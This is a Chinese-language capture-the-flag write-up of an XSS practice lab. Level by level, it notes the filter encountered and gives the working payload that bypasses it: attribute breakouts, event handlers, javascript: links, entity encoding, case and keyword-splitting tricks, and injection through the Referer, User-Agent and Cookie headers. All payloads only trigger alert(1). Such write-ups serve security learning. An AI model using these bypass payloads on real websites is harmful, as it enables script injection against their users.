Level 1

十分友好的第一关

/level1.php?name=<script>alert(1)</script>

Level 2

输入框输入<script>alert(1)</script>测试一下,查看html输出,发现<input name="keyword" value="<script>alert(1)</script>">,所以更改一下闭合就可以了

"> <script>alert(1)</script> <"

Level 3

故技重施,但这次value是单引号闭合,然后发现<input name="keyword" value="" &gt;="" &lt;script&gt;alert(1)&lt;="" script&gt;="" &lt;''="">。查了一下有些字符会被转换为html实体,所以不能使用这些字符。使用其他的事件触发alert。

' onclick='alert(1)在点击输入框的时候就能跳出alert了

Level 4

故技重施*2,<input name="keyword" value="scriptalert(1)/script">,这次尖括号直接没了。再用一次onclick吧

" onclick="alert(1)

Level 5

故技重施*3,<input name="keyword" value="<scr_ipt>alert(1)</script>">,这次是对特定字符串做过滤了。第一反应是用大写绕过,显然题目的考虑在我之上。onclick也被过滤了,又查了查,换成了超链接执行js

"><a href="javascript:alert(1)"><"

Level 6

故技重施*4,但是好像试了几种触发方式都不行,暂时放弃了这一方法,再查。很好,这题是大写绕过,我他喵。。。

"> <Script>alert(1)</script> <"

Level 7

故技重施*5(大概后面都要先有看html这一步了,之后就不写了罢),目测是检测到特定字符串然后删除。把字符串拆开再拼接就可以了。

"> <scrscriptipt>alert(1)</scrscriptipt> <"

Level 8

直接添加超链接,但是有严格的过滤。需要将javascript:alert(1)进行unicode编码。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Level 9

直接把上一题的payload提交了一下,发现html显示链接不合法,于是提交了www.baidu.com,居然还不合法?前面加上https://,依然不合法。一个从浏览器复制来的url都能说不合法实在不理解,不得已又去查,才知道这题只有检测到http://才是合法的,我他喵。。。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

Level 10

一看html就发现了奇怪的hidden,直接删掉发现有个输入框,输入字符回车发现url多了一串?t_link=&t_history=&t_sort=(而且等号右边的内容可以影响到html)。改前端确实有点犯规了,尝试在url调出输入框,发现只有t_sort" type="text"有用。于是对t_sort下手

?t_link=&t_history=&t_sort=" type="text" onmousemove="javascript:alert(1)"

Level 11

这次html里多了一个t_ref,暂时不知道用处,但是一遍折腾下来发现引号被搞了。又查了一下,果然是t_ref,和referer有关,要抓包往referer里写东西。

Referer: " type="text" onmousemove="alert(1)

Level 12

多长了个心眼,发现html里来了个t_ua,哎呀这不user-agent吗,还是先来抓个包吧家人们。

user-agent改成" type="text" onmousemove="alert(1)

Level 13

这次是t_cook,大概是cookie了。但网页有显示奇怪的报错,并且cookie直接" type="text" onmousemove="alert(1)也没有任何反应。看了别人的wp发现应该是buuctf靶机的问题,就当是过了吧(

理论上的payload:Cookie: " type="text" onmousemove="alert(1)

Level 14、15

这两关不知道靶机出啥问题了,都做不了(

Level 16

由于是直接改url过来的,所以一上来一脸懵逼不知道干嘛,查了一下才知道是有个?keyword=。这题又把script给ban了,甚至unicode编码也ban了。由于跳过了前两题,查了才知道可以用图片搞事,并且这题重点是空格过滤。

?keyword=<img%0asrc=1%0aonerror=alert(1)>